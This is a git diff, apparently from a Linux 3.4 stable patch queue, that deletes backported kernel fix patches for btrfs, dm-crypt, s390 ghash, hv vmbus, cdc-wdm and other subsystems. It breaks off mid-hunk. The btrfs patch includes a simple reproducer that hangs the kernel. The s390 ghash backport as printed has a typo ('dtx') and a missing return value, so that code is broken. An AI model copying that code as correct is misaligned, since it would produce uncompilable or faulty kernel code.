!strncmp(name, XATTR_SECURITY_PREFIX, -- XATTR_SECURITY_PREFIX_LEN) || -- !strncmp(name, XATTR_SYSTEM_PREFIX, XATTR_SYSTEM_PREFIX_LEN) || -- !strncmp(name, XATTR_TRUSTED_PREFIX, XATTR_TRUSTED_PREFIX_LEN) || -- !strncmp(name, XATTR_USER_PREFIX, XATTR_USER_PREFIX_LEN); -+ int len = strlen(name); -+ int prefixlen = 0; -+ -+ if (!strncmp(name, XATTR_SECURITY_PREFIX, -+ XATTR_SECURITY_PREFIX_LEN)) -+ prefixlen = XATTR_SECURITY_PREFIX_LEN; -+ else if (!strncmp(name, XATTR_SYSTEM_PREFIX, XATTR_SYSTEM_PREFIX_LEN)) -+ prefixlen = XATTR_SYSTEM_PREFIX_LEN; -+ else if (!strncmp(name, XATTR_TRUSTED_PREFIX, XATTR_TRUSTED_PREFIX_LEN)) -+ prefixlen = XATTR_TRUSTED_PREFIX_LEN; -+ else if (!strncmp(name, XATTR_USER_PREFIX, XATTR_USER_PREFIX_LEN)) -+ prefixlen = XATTR_USER_PREFIX_LEN; -+ else -+ return -EOPNOTSUPP; -+ -+ /* -+ * The name cannot consist of just prefix -+ */ -+ if (len <= prefixlen) -+ return -EINVAL; -+ -+ return 0; - } - - ssize_t btrfs_getxattr(struct dentry *dentry, const char *name, - void *buffer, size_t size) - { -+ int ret; -+ - /* - * If this is a request for a synthetic attribute in the system.* - * namespace use the generic infrastructure to resolve a handler -@@ -333,8 +352,9 @@ ssize_t btrfs_getxattr(struct dentry *de - if (!strncmp(name, XATTR_SYSTEM_PREFIX, XATTR_SYSTEM_PREFIX_LEN)) - return generic_getxattr(dentry, name, buffer, size); - -- if (!btrfs_is_valid_xattr(name)) -- return -EOPNOTSUPP; -+ ret = btrfs_is_valid_xattr(name); -+ if (ret) -+ return ret; - return __btrfs_getxattr(dentry->d_inode, name, buffer, size); - } - -@@ -342,6 +362,7 @@ int btrfs_setxattr(struct dentry *dentry - size_t size, int flags) - { - struct btrfs_root *root = BTRFS_I(dentry->d_inode)->root; -+ int ret; - - /* - * The permission on security.* and system.* is not checked -@@ -358,8 +379,9 @@ int btrfs_setxattr(struct dentry *dentry - if (!strncmp(name, XATTR_SYSTEM_PREFIX, XATTR_SYSTEM_PREFIX_LEN)) - return generic_setxattr(dentry, name, value, size, flags); - -- if (!btrfs_is_valid_xattr(name)) -- return -EOPNOTSUPP; -+ ret = btrfs_is_valid_xattr(name); -+ if (ret) -+ return ret; - - if (size == 0) - value = ""; /* empty EA, do not remove */ -@@ -371,6 +393,7 @@ int btrfs_setxattr(struct dentry *dentry - int btrfs_removexattr(struct dentry *dentry, const char *name) - { - struct btrfs_root *root = BTRFS_I(dentry->d_inode)->root; -+ int ret; - - /* - * The permission on security.* and system.* is not checked -@@ -387,8 +410,9 @@ int btrfs_removexattr(struct dentry *den - if (!strncmp(name, XATTR_SYSTEM_PREFIX, XATTR_SYSTEM_PREFIX_LEN)) - return generic_removexattr(dentry, name); - -- if (!btrfs_is_valid_xattr(name)) -- return -EOPNOTSUPP; -+ ret = btrfs_is_valid_xattr(name); -+ if (ret) -+ return ret; - - return __btrfs_setxattr(NULL, dentry->d_inode, name, NULL, 0, - XATTR_REPLACE); diff --git a/patches/btrfs-fix-inode-eviction-infinite-loop-after-cloning-into-it.patch b/patches/btrfs-fix-inode-eviction-infinite-loop-after-cloning-into-it.patch deleted file mode 100644 index c53daf9..0000000 --- a/patches/btrfs-fix-inode-eviction-infinite-loop-after-cloning-into-it.patch +++ /dev/null @@ -1,100 +0,0 @@ -From ccccf3d67294714af2d72a6fd6fd7d73b01c9329 Mon Sep 17 00:00:00 2001 -From: Filipe Manana <fdmanana@suse.com> -Date: Mon, 30 Mar 2015 18:23:59 +0100 -Subject: Btrfs: fix inode eviction infinite loop after cloning into it - -commit ccccf3d67294714af2d72a6fd6fd7d73b01c9329 upstream. - -If we attempt to clone a 0 length region into a file we can end up -inserting a range in the inode's extent_io tree with a start offset -that is greater then the end offset, which triggers immediately the -following warning: - -[ 3914.619057] WARNING: CPU: 17 PID: 4199 at fs/btrfs/extent_io.c:435 insert_state+0x4b/0x10b [btrfs]() -[ 3914.620886] BTRFS: end < start 4095 4096 -(...) -[ 3914.638093] Call Trace: -[ 3914.638636] [<ffffffff81425fd9>] dump_stack+0x4c/0x65 -[ 3914.639620] [<ffffffff81045390>] warn_slowpath_common+0xa1/0xbb -[ 3914.640789] [<ffffffffa03ca44f>] ? insert_state+0x4b/0x10b [btrfs] -[ 3914.642041] [<ffffffff810453f0>] warn_slowpath_fmt+0x46/0x48 -[ 3914.643236] [<ffffffffa03ca44f>] insert_state+0x4b/0x10b [btrfs] -[ 3914.644441] [<ffffffffa03ca729>] __set_extent_bit+0x107/0x3f4 [btrfs] -[ 3914.645711] [<ffffffffa03cb256>] lock_extent_bits+0x65/0x1bf [btrfs] -[ 3914.646914] [<ffffffff8142b2fb>] ? _raw_spin_unlock+0x28/0x33 -[ 3914.648058] [<ffffffffa03cbac4>] ? test_range_bit+0xcc/0xde [btrfs] -[ 3914.650105] [<ffffffffa03cb3c3>] lock_extent+0x13/0x15 [btrfs] -[ 3914.651361] [<ffffffffa03db39e>] lock_extent_range+0x3d/0xcd [btrfs] -[ 3914.652761] [<ffffffffa03de1fe>] btrfs_ioctl_clone+0x278/0x388 [btrfs] -[ 3914.654128] [<ffffffff811226dd>] ? might_fault+0x58/0xb5 -[ 3914.655320] [<ffffffffa03e0909>] btrfs_ioctl+0xb51/0x2195 [btrfs] -(...) -[ 3914.669271] ---[ end trace 14843d3e2e622fc1 ]--- - -This later makes the inode eviction handler enter an infinite loop that -keeps dumping the following warning over and over: - -[ 3915.117629] WARNING: CPU: 22 PID: 4228 at fs/btrfs/extent_io.c:435 insert_state+0x4b/0x10b [btrfs]() -[ 3915.119913] BTRFS: end < start 4095 4096 -(...) -[ 3915.137394] Call Trace: -[ 3915.137913] [<ffffffff81425fd9>] dump_stack+0x4c/0x65 -[ 3915.139154] [<ffffffff81045390>] warn_slowpath_common+0xa1/0xbb -[ 3915.140316] [<ffffffffa03ca44f>] ? insert_state+0x4b/0x10b [btrfs] -[ 3915.141505] [<ffffffff810453f0>] warn_slowpath_fmt+0x46/0x48 -[ 3915.142709] [<ffffffffa03ca44f>] insert_state+0x4b/0x10b [btrfs] -[ 3915.143849] [<ffffffffa03ca729>] __set_extent_bit+0x107/0x3f4 [btrfs] -[ 3915.145120] [<ffffffffa038c1e3>] ? btrfs_kill_super+0x17/0x23 [btrfs] -[ 3915.146352] [<ffffffff811548f6>] ? deactivate_locked_super+0x3b/0x50 -[ 3915.147565] [<ffffffffa03cb256>] lock_extent_bits+0x65/0x1bf [btrfs] -[ 3915.148785] [<ffffffff8142b7e2>] ? _raw_write_unlock+0x28/0x33 -[ 3915.149931] [<ffffffffa03bc325>] btrfs_evict_inode+0x196/0x482 [btrfs] -[ 3915.151154] [<ffffffff81168904>] evict+0xa0/0x148 -[ 3915.152094] [<ffffffff811689e5>] dispose_list+0x39/0x43 -[ 3915.153081] [<ffffffff81169564>] evict_inodes+0xdc/0xeb -[ 3915.154062] [<ffffffff81154418>] generic_shutdown_super+0x49/0xef -[ 3915.155193] [<ffffffff811546d1>] kill_anon_super+0x13/0x1e -[ 3915.156274] [<ffffffffa038c1e3>] btrfs_kill_super+0x17/0x23 [btrfs] -(...) -[ 3915.167404] ---[ end trace 14843d3e2e622fc2 ]--- - -So just bail out of the clone ioctl if the length of the region to clone -is zero, without locking any extent range, in order to prevent this issue -(same behaviour as a pwrite with a 0 length for example). - -This is trivial to reproduce. For example, the steps for the test I just -made for fstests: - - mkfs.btrfs -f SCRATCH_DEV - mount SCRATCH_DEV $SCRATCH_MNT - - touch $SCRATCH_MNT/foo - touch $SCRATCH_MNT/bar - - $CLONER_PROG -s 0 -d 4096 -l 0 $SCRATCH_MNT/foo $SCRATCH_MNT/bar - umount $SCRATCH_MNT - -A test case for fstests follows soon. - -Signed-off-by: Filipe Manana <fdmanana@suse.com> -Reviewed-by: Omar Sandoval <osandov@osandov.com> -Signed-off-by: Chris Mason <clm@fb.com> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - fs/btrfs/ioctl.c | 5 +++++ - 1 file changed, 5 insertions(+) - ---- a/fs/btrfs/ioctl.c -+++ b/fs/btrfs/ioctl.c -@@ -2374,6 +2374,11 @@ static noinline long btrfs_ioctl_clone(s - if (off + len == src->i_size) - len = ALIGN(src->i_size, bs) - off; - -+ if (len == 0) { -+ ret = 0; -+ goto out_unlock; -+ } -+ - /* verify the end result is block aligned */ - if (!IS_ALIGNED(off, bs) || !IS_ALIGNED(off + len, bs) || - !IS_ALIGNED(destoff, bs)) diff --git a/patches/btrfs-fix-log-tree-corruption-when-fs-mounted-with-o-discard.patch b/patches/btrfs-fix-log-tree-corruption-when-fs-mounted-with-o-discard.patch deleted file mode 100644 index f10275a..0000000 --- a/patches/btrfs-fix-log-tree-corruption-when-fs-mounted-with-o-discard.patch +++ /dev/null @@ -1,54 +0,0 @@ -From dcc82f4783ad91d4ab654f89f37ae9291cdc846a Mon Sep 17 00:00:00 2001 -From: Filipe Manana <fdmanana@suse.com> -Date: Mon, 23 Mar 2015 14:07:40 +0000 -Subject: Btrfs: fix log tree corruption when fs mounted with -o discard - -commit dcc82f4783ad91d4ab654f89f37ae9291cdc846a upstream. - -While committing a transaction we free the log roots before we write the -new super block. Freeing the log roots implies marking the disk location -of every node/leaf (metadata extent) as pinned before the new super block -is written. This is to prevent the disk location of log metadata extents -from being reused before the new super block is written, otherwise we -would have a corrupted log tree if before the new super block is written -a crash/reboot happens and the location of any log tree metadata extent -ended up being reused and rewritten. - -Even though we pinned the log tree's metadata extents, we were issuing a -discard against them if the fs was mounted with the -o discard option, -resulting in corruption of the log tree if a crash/reboot happened before -writing the new super block - the next time the fs was mounted, during -the log replay process we would find nodes/leafs of the log btree with -a content full of zeroes, causing the process to fail and require the -use of the tool btrfs-zero-log to wipeout the log tree (and all data -previously fsynced becoming lost forever). - -Fix this by not doing a discard when pinning an extent. The discard will -be done later when it's safe (after the new super block is committed) at -extent-tree.c:btrfs_finish_extent_commit(). - -Fixes: e688b7252f78 (Btrfs: fix extent pinning bugs in the tree log) -Signed-off-by: Filipe Manana <fdmanana@suse.com> -Signed-off-by: Chris Mason <clm@fb.com> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - fs/btrfs/extent-tree.c | 5 ++--- - 1 file changed, 2 insertions(+), 3 deletions(-) - ---- a/fs/btrfs/extent-tree.c -+++ b/fs/btrfs/extent-tree.c -@@ -5939,12 +5939,11 @@ static int __btrfs_free_reserved_extent( - return -ENOSPC; - } - -- if (btrfs_test_opt(root, DISCARD)) -- ret = btrfs_discard_extent(root, start, len, NULL); -- - if (pin) - pin_down_extent(root, cache, start, len, 1); - else { -+ if (btrfs_test_opt(root, DISCARD)) -+ ret = btrfs_discard_extent(root, start, len, NULL); - btrfs_add_free_space(cache, start, len); - btrfs_update_reserved_bytes(cache, len, RESERVE_FREE); - } diff --git a/patches/c6x-time-ensure-consistency-in-__init.patch b/patches/c6x-time-ensure-consistency-in-__init.patch deleted file mode 100644 index 1329386..0000000 --- a/patches/c6x-time-ensure-consistency-in-__init.patch +++ /dev/null @@ -1,39 +0,0 @@ -From f4831605f2dacd12730fe73961c77253cc2ea425 Mon Sep 17 00:00:00 2001 -From: Nishanth Menon <nm@ti.com> -Date: Sat, 7 Mar 2015 03:39:05 -0600 -Subject: C6x: time: Ensure consistency in __init - -commit f4831605f2dacd12730fe73961c77253cc2ea425 upstream. - -time_init invokes timer64_init (which is __init annotation) -since all of these are invoked at init time, lets maintain -consistency by ensuring time_init is marked appropriately -as well. - -This fixes the following warning with CONFIG_DEBUG_SECTION_MISMATCH=y - -WARNING: vmlinux.o(.text+0x3bfc): Section mismatch in reference from the function time_init() to the function .init.text:timer64_init() -The function time_init() references -the function __init timer64_init(). -This is often because time_init lacks a __init -annotation or the annotation of timer64_init is wrong. - -Fixes: 546a39546c64 ("C6X: time management") -Signed-off-by: Nishanth Menon <nm@ti.com> -Signed-off-by: Mark Salter <msalter@redhat.com> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - arch/c6x/kernel/time.c | 2 +- - 1 file changed, 1 insertion(+), 1 deletion(-) - ---- a/arch/c6x/kernel/time.c -+++ b/arch/c6x/kernel/time.c -@@ -49,7 +49,7 @@ u64 sched_clock(void) - return (tsc * sched_clock_multiplier) >> SCHED_CLOCK_SHIFT; - } - --void time_init(void) -+void __init time_init(void) - { - u64 tmp = (u64)NSEC_PER_SEC << SCHED_CLOCK_SHIFT; - diff --git a/patches/cdc-wdm-fix-endianness-bug-in-debug-statements.patch b/patches/cdc-wdm-fix-endianness-bug-in-debug-statements.patch deleted file mode 100644 index 05f2d86..0000000 --- a/patches/cdc-wdm-fix-endianness-bug-in-debug-statements.patch +++ /dev/null @@ -1,66 +0,0 @@ -From 323ece54e0761198946ecd0c2091f1d2bfdfcb64 Mon Sep 17 00:00:00 2001 -From: Oliver Neukum <oneukum@suse.de> -Date: Fri, 20 Mar 2015 14:29:34 +0100 -Subject: cdc-wdm: fix endianness bug in debug statements - -commit 323ece54e0761198946ecd0c2091f1d2bfdfcb64 upstream. - -Values directly from descriptors given in debug statements -must be converted to native endianness. - -Signed-off-by: Oliver Neukum <oneukum@suse.de> -Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/usb/class/cdc-wdm.c | 12 +++++++----- - 1 file changed, 7 insertions(+), 5 deletions(-) - ---- a/drivers/usb/class/cdc-wdm.c -+++ b/drivers/usb/class/cdc-wdm.c -@@ -268,7 +268,7 @@ static void wdm_int_callback(struct urb - case USB_CDC_NOTIFY_RESPONSE_AVAILABLE: - dev_dbg(&desc->intf->dev, - "NOTIFY_RESPONSE_AVAILABLE received: index %d len %d", -- dr->wIndex, dr->wLength); -+ le16_to_cpu(dr->wIndex), le16_to_cpu(dr->wLength)); - break; - - case USB_CDC_NOTIFY_NETWORK_CONNECTION: -@@ -281,7 +281,9 @@ static void wdm_int_callback(struct urb - clear_bit(WDM_POLL_RUNNING, &desc->flags); - dev_err(&desc->intf->dev, - "unknown notification %d received: index %d len %d\n", -- dr->bNotificationType, dr->wIndex, dr->wLength); -+ dr->bNotificationType, -+ le16_to_cpu(dr->wIndex), -+ le16_to_cpu(dr->wLength)); - goto exit; - } - -@@ -425,7 +427,7 @@ static ssize_t wdm_write - USB_RECIP_INTERFACE); - req->bRequest = USB_CDC_SEND_ENCAPSULATED_COMMAND; - req->wValue = 0; -- req->wIndex = desc->inum; -+ req->wIndex = desc->inum; /* already converted */ - req->wLength = cpu_to_le16(count); - set_bit(WDM_IN_USE, &desc->flags); - desc->outbuf = buf; -@@ -438,7 +440,7 @@ static ssize_t wdm_write - dev_err(&desc->intf->dev, "Tx URB error: %d\n", rv); - } else { - dev_dbg(&desc->intf->dev, "Tx URB has been submitted index=%d", -- req->wIndex); -+ le16_to_cpu(req->wIndex)); - } - out: - usb_autopm_put_interface(desc->intf); -@@ -782,7 +784,7 @@ static int wdm_create(struct usb_interfa - desc->irq->bRequestType = (USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_INTERFACE); - desc->irq->bRequest = USB_CDC_GET_ENCAPSULATED_RESPONSE; - desc->irq->wValue = 0; -- desc->irq->wIndex = desc->inum; -+ desc->irq->wIndex = desc->inum; /* already converted */ - desc->irq->wLength = cpu_to_le16(desc->wMaxCommand); - - usb_fill_control_urb( diff --git a/patches/compal-laptop-check-return-value-of-power_supply_register.patch b/patches/compal-laptop-check-return-value-of-power_supply_register.patch deleted file mode 100644 index bab6e03..0000000 --- a/patches/compal-laptop-check-return-value-of-power_supply_register.patch +++ /dev/null @@ -1,44 +0,0 @@ -From 1915a718b1872edffcb13e5436a9f7302d3d36f0 Mon Sep 17 00:00:00 2001 -From: Krzysztof Kozlowski <k.kozlowski@samsung.com> -Date: Thu, 12 Mar 2015 08:44:00 +0100 -Subject: compal-laptop: Check return value of power_supply_register - -commit 1915a718b1872edffcb13e5436a9f7302d3d36f0 upstream. - -The return value of power_supply_register() call was not checked and -even on error probe() function returned 0. If registering failed then -during unbind the driver tried to unregister power supply which was not -actually registered. - -This could lead to memory corruption because power_supply_unregister() -unconditionally cleans up given power supply. - -Fix this by checking return status of power_supply_register() call. In -case of failure, clean up sysfs entries and fail the probe. - -Signed-off-by: Krzysztof Kozlowski <k.kozlowski@samsung.com> -Fixes: 9be0fcb5ed46 ("compal-laptop: add JHL90, battery & hwmon interface") -Signed-off-by: Sebastian Reichel <sre@kernel.org> -[lizf: Backported to 3.4: there's no "remove" label. Do cleanup inside if block] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/platform/x86/compal-laptop.c | 8 +++++++- - 1 file changed, 7 insertions(+), 1 deletion(-) - ---- a/drivers/platform/x86/compal-laptop.c -+++ b/drivers/platform/x86/compal-laptop.c -@@ -1047,7 +1047,13 @@ static int __devinit compal_probe(struct - - /* Power supply */ - initialize_power_supply_data(data); -- power_supply_register(&compal_device->dev, &data->psy); -+ err = power_supply_register(&compal_device->dev, &data->psy); -+ if (err < 0) { -+ hwmon_device_unregister(data->hwmon_dev); -+ sysfs_remove_group(&pdev->dev.kobj, -+ &compal_attribute_group); -+ kfree(data); -+ } - - platform_set_drvdata(pdev, data); - diff --git a/patches/crypto-s390-ghash-fix-incorrect-ghash-icv-buffer-handling.patch b/patches/crypto-s390-ghash-fix-incorrect-ghash-icv-buffer-handling.patch deleted file mode 100644 index 1c2eda6..0000000 --- a/patches/crypto-s390-ghash-fix-incorrect-ghash-icv-buffer-handling.patch +++ /dev/null @@ -1,121 +0,0 @@ -From a1cae34e23b1293eccbcc8ee9b39298039c3952a Mon Sep 17 00:00:00 2001 -From: Harald Freudenberger <freude@linux.vnet.ibm.com> -Date: Thu, 21 May 2015 10:01:11 +0200 -Subject: crypto: s390/ghash - Fix incorrect ghash icv buffer handling. - -commit a1cae34e23b1293eccbcc8ee9b39298039c3952a upstream. - -Multitheaded tests showed that the icv buffer in the current ghash -implementation is not handled correctly. A move of this working ghash -buffer value to the descriptor context fixed this. Code is tested and -verified with an multithreaded application via af_alg interface. - -Signed-off-by: Harald Freudenberger <freude@linux.vnet.ibm.com> -Signed-off-by: Gerald Schaefer <geraldsc@linux.vnet.ibm.com> -Reported-by: Herbert Xu <herbert@gondor.apana.org.au> -Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au> -[lizf: Backported to 3.4: - - adjust context - - drop the change to memcpy()] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - arch/s390/crypto/ghash_s390.c | 26 +++++++++++++------------- - 1 file changed, 13 insertions(+), 13 deletions(-) - ---- a/arch/s390/crypto/ghash_s390.c -+++ b/arch/s390/crypto/ghash_s390.c -@@ -16,11 +16,12 @@ - #define GHASH_DIGEST_SIZE 16 - - struct ghash_ctx { -- u8 icv[16]; -- u8 key[16]; -+ u8 key[GHASH_BLOCK_SIZE]; - }; - - struct ghash_desc_ctx { -+ u8 icv[GHASH_BLOCK_SIZE]; -+ u8 key[GHASH_BLOCK_SIZE]; - u8 buffer[GHASH_BLOCK_SIZE]; - u32 bytes; - }; -@@ -28,8 +29,10 @@ struct ghash_desc_ctx { - static int ghash_init(struct shash_desc *desc) - { - struct ghash_desc_ctx *dctx = shash_desc_ctx(desc); -+ struct ghash_ctx *ctx = crypto_shash_ctx(desc->tfm); - - memset(dctx, 0, sizeof(*dctx)); -+ memcpy(dctx->key, ctx->key, GHASH_BLOCK_SIZE); - - return 0; - } -@@ -45,7 +48,6 @@ static int ghash_setkey(struct crypto_sh - } - - memcpy(ctx->key, key, GHASH_BLOCK_SIZE); -- memset(ctx->icv, 0, GHASH_BLOCK_SIZE); - - return 0; - } -@@ -54,7 +56,6 @@ static int ghash_update(struct shash_des - const u8 *src, unsigned int srclen) - { - struct ghash_desc_ctx *dctx = shash_desc_ctx(desc); -- struct ghash_ctx *ctx = crypto_shash_ctx(desc->tfm); - unsigned int n; - u8 *buf = dctx->buffer; - int ret; -@@ -70,7 +71,7 @@ static int ghash_update(struct shash_des - src += n; - - if (!dctx->bytes) { -- ret = crypt_s390_kimd(KIMD_GHASH, ctx, buf, -+ ret = crypt_s390_kimd(KIMD_GHASH, dctx, buf, - GHASH_BLOCK_SIZE); - BUG_ON(ret != GHASH_BLOCK_SIZE); - } -@@ -78,7 +79,7 @@ static int ghash_update(struct shash_des - - n = srclen & ~(GHASH_BLOCK_SIZE - 1); - if (n) { -- ret = crypt_s390_kimd(KIMD_GHASH, ctx, src, n); -+ ret = crypt_s390_kimd(KIMD_GHASH, dctx, src, n); - BUG_ON(ret != n); - src += n; - srclen -= n; -@@ -92,7 +93,7 @@ static int ghash_update(struct shash_des - return 0; - } - --static void ghash_flush(struct ghash_ctx *ctx, struct ghash_desc_ctx *dctx) -+static int ghash_flush(struct ghash_desc_ctx *dctx) - { - u8 *buf = dctx->buffer; - int ret; -@@ -102,20 +103,19 @@ static void ghash_flush(struct ghash_ctx - - memset(pos, 0, dctx->bytes); - -- ret = crypt_s390_kimd(KIMD_GHASH, ctx, buf, GHASH_BLOCK_SIZE); -+ ret = crypt_s390_kimd(KIMD_GHASH, dctx, buf, GHASH_BLOCK_SIZE); - BUG_ON(ret != GHASH_BLOCK_SIZE); -- } - -- dctx->bytes = 0; -+ dctx->bytes = 0; -+ } - } - - static int ghash_final(struct shash_desc *desc, u8 *dst) - { - struct ghash_desc_ctx *dctx = shash_desc_ctx(desc); -- struct ghash_ctx *ctx = crypto_shash_ctx(desc->tfm); - -- ghash_flush(ctx, dctx); -- memcpy(dst, ctx->icv, GHASH_BLOCK_SIZE); -+ ghash_flush(dctx); -+ memcpy(dst, dtx->icv, GHASH_BLOCK_SIZE); - - return 0; - } diff --git a/patches/d_walk-might-skip-too-much.patch b/patches/d_walk-might-skip-too-much.patch deleted file mode 100644 index 0a42ef7..0000000 --- a/patches/d_walk-might-skip-too-much.patch +++ /dev/null @@ -1,40 +0,0 @@ -From 2159184ea01e4ae7d15f2017e296d4bc82d5aeb0 Mon Sep 17 00:00:00 2001 -From: Al Viro <viro@zeniv.linux.org.uk> -Date: Thu, 28 May 2015 23:09:19 -0400 -Subject: d_walk() might skip too much - -commit 2159184ea01e4ae7d15f2017e296d4bc82d5aeb0 upstream. - -when we find that a child has died while we'd been trying to ascend, -we should go into the first live sibling itself, rather than its sibling. - -Off-by-one in question had been introduced in "deal with deadlock in -d_walk()" and the fix needs to be backported to all branches this one -has been backported to. - -Signed-off-by: Al Viro <viro@zeniv.linux.org.uk> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - fs/dcache.c | 8 ++++---- - 1 file changed, 4 insertions(+), 4 deletions(-) - ---- a/fs/dcache.c -+++ b/fs/dcache.c -@@ -1204,13 +1204,13 @@ ascend: - /* might go back up the wrong parent if we have had a rename */ - if (!locked && read_seqretry(&rename_lock, seq)) - goto rename_retry; -- next = child->d_child.next; -- while (unlikely(child->d_flags & DCACHE_DENTRY_KILLED)) { -+ /* go into the first sibling still alive */ -+ do { -+ next = child->d_child.next; - if (next == &this_parent->d_subdirs) - goto ascend; - child = list_entry(next, struct dentry, d_child); -- next = next->next; -- } -+ } while (unlikely(child->d_flags & DCACHE_DENTRY_KILLED)); - rcu_read_unlock(); - goto resume; - } diff --git a/patches/dm-crypt-fix-deadlock-when-async-crypto-algorithm-returns-ebusy.patch b/patches/dm-crypt-fix-deadlock-when-async-crypto-algorithm-returns-ebusy.patch deleted file mode 100644 index 477e259..0000000 --- a/patches/dm-crypt-fix-deadlock-when-async-crypto-algorithm-returns-ebusy.patch +++ /dev/null @@ -1,77 +0,0 @@ -From 0618764cb25f6fa9fb31152995de42a8a0496475 Mon Sep 17 00:00:00 2001 -From: Ben Collins <ben.c@servergy.com> -Date: Fri, 3 Apr 2015 16:09:46 +0000 -Subject: dm crypt: fix deadlock when async crypto algorithm returns -EBUSY - -commit 0618764cb25f6fa9fb31152995de42a8a0496475 upstream. - -I suspect this doesn't show up for most anyone because software -algorithms typically don't have a sense of being too busy. However, -when working with the Freescale CAAM driver it will return -EBUSY on -occasion under heavy -- which resulted in dm-crypt deadlock. - -After checking the logic in some other drivers, the scheme for -crypt_convert() and it's callback, kcryptd_async_done(), were not -correctly laid out to properly handle -EBUSY or -EINPROGRESS. - -Fix this by using the completion for both -EBUSY and -EINPROGRESS. Now -crypt_convert()'s use of completion is comparable to -af_alg_wait_for_completion(). Similarly, kcryptd_async_done() follows -the pattern used in af_alg_complete(). - -Before this fix dm-crypt would lockup within 1-2 minutes running with -the CAAM driver. Fix was regression tested against software algorithms -on PPC32 and x86_64, and things seem perfectly happy there as well. - -Signed-off-by: Ben Collins <ben.c@servergy.com> -Signed-off-by: Mike Snitzer <snitzer@redhat.com> -[lizf: Backported to 3.4: adjust context] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/md/dm-crypt.c | 12 ++++++------ - 1 file changed, 6 insertions(+), 6 deletions(-) - ---- a/drivers/md/dm-crypt.c -+++ b/drivers/md/dm-crypt.c -@@ -782,11 +782,10 @@ static int crypt_convert(struct crypt_co - - switch (r) { - /* async */ -+ case -EINPROGRESS: - case -EBUSY: - wait_for_completion(&ctx->restart); - INIT_COMPLETION(ctx->restart); -- /* fall through*/ -- case -EINPROGRESS: - this_cc->req = NULL; - ctx->sector++; - continue; -@@ -1195,10 +1194,8 @@ static void kcryptd_async_done(struct cr - struct dm_crypt_io *io = container_of(ctx, struct dm_crypt_io, ctx); - struct crypt_config *cc = io->target->private; - -- if (error == -EINPROGRESS) { -- complete(&ctx->restart); -+ if (error == -EINPROGRESS) - return; -- } - - if (!error && cc->iv_gen_ops && cc->iv_gen_ops->post) - error = cc->iv_gen_ops->post(cc, iv_of_dmreq(cc, dmreq), dmreq); -@@ -1209,12 +1206,15 @@ static void kcryptd_async_done(struct cr - mempool_free(req_of_dmreq(cc, dmreq), cc->req_pool); - - if (!atomic_dec_and_test(&ctx->pending)) -- return; -+ goto done; - - if (bio_data_dir(io->base_bio) == READ) - kcryptd_crypt_read_done(io); - else - kcryptd_crypt_write_io_submit(io, 1); -+done: -+ if (!completion_done(&ctx->restart)) -+ complete(&ctx->restart); - } - - static void kcryptd_crypt(struct work_struct *work) diff --git a/patches/drivers-hv-vmbus-don-t-wait-after-requesting-offers.patch b/patches/drivers-hv-vmbus-don-t-wait-after-requesting-offers.patch deleted file mode 100644 index f5763b0..0000000 --- a/patches/drivers-hv-vmbus-don-t-wait-after-requesting-offers.patch +++ /dev/null @@ -1,53 +0,0 @@ -From 73cffdb65e679b98893f484063462c045adcf212 Mon Sep 17 00:00:00 2001 -From: "K. Y. Srinivasan" <kys@microsoft.com> -Date: Thu, 19 Mar 2015 08:11:34 -0700 -Subject: Drivers: hv: vmbus: Don't wait after requesting offers - -commit 73cffdb65e679b98893f484063462c045adcf212 upstream. - -Don't wait after sending request for offers to the host. This wait is -unnecessary and simply adds 5 seconds to the boot time. - -Signed-off-by: K. Y. Srinivasan <kys@microsoft.com> -Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org> -[lizf: Backported to 3.4: adjust context] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/hv/channel_mgmt.c | 12 +----------- - 1 file changed, 1 insertion(+), 11 deletions(-) - ---- a/drivers/hv/channel_mgmt.c -+++ b/drivers/hv/channel_mgmt.c -@@ -531,7 +531,7 @@ int vmbus_request_offers(void) - { - struct vmbus_channel_message_header *msg; - struct vmbus_channel_msginfo *msginfo; -- int ret, t; -+ int ret; - - msginfo = kmalloc(sizeof(*msginfo) + - sizeof(struct vmbus_channel_message_header), -@@ -539,8 +539,6 @@ int vmbus_request_offers(void) - if (!msginfo) - return -ENOMEM; - -- init_completion(&msginfo->waitevent); -- - msg = (struct vmbus_channel_message_header *)msginfo->msg; - - msg->msgtype = CHANNELMSG_REQUESTOFFERS; -@@ -554,14 +552,6 @@ int vmbus_request_offers(void) - goto cleanup; - } - -- t = wait_for_completion_timeout(&msginfo->waitevent, 5*HZ); -- if (t == 0) { -- ret = -ETIMEDOUT; -- goto cleanup; -- } -- -- -- - cleanup: - kfree(msginfo); - diff --git a/patches/drivers-hv-vmbus-fix-a-bug-in-the-error-path-in-vmbus_open.patch b/patches/drivers-hv-vmbus-fix-a-bug-in-the-error-path-in-vmbus_open.patch deleted file mode 100644 index d2ac3cb..0000000 --- a/patches/drivers-hv-vmbus-fix-a-bug-in-the-error-path-in-vmbus_open.patch +++ /dev/null @@ -1,47 +0,0 @@ -From 40384e4bbeb9f2651fe9bffc0062d9f31ef625bf Mon Sep 17 00:00:00 2001 -From: "K. Y. Srinivasan" <kys@microsoft.com> -Date: Fri, 27 Feb 2015 11:26:04 -0800 -Subject: Drivers: hv: vmbus: Fix a bug in the error path in vmbus_open() - -commit 40384e4bbeb9f2651fe9bffc0062d9f31ef625bf upstream. - -Correctly rollback state if the failure occurs after we have handed over -the ownership of the buffer to the host. - -Signed-off-by: K. Y. Srinivasan <kys@microsoft.com> -Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/hv/channel.c | 7 +++++-- - 1 file changed, 5 insertions(+), 2 deletions(-) - ---- a/drivers/hv/channel.c -+++ b/drivers/hv/channel.c -@@ -177,7 +177,7 @@ int vmbus_open(struct vmbus_channel *new - GFP_KERNEL); - if (!open_info) { - err = -ENOMEM; -- goto error0; -+ goto error_gpadl; - } - - init_completion(&open_info->waitevent); -@@ -193,7 +193,7 @@ int 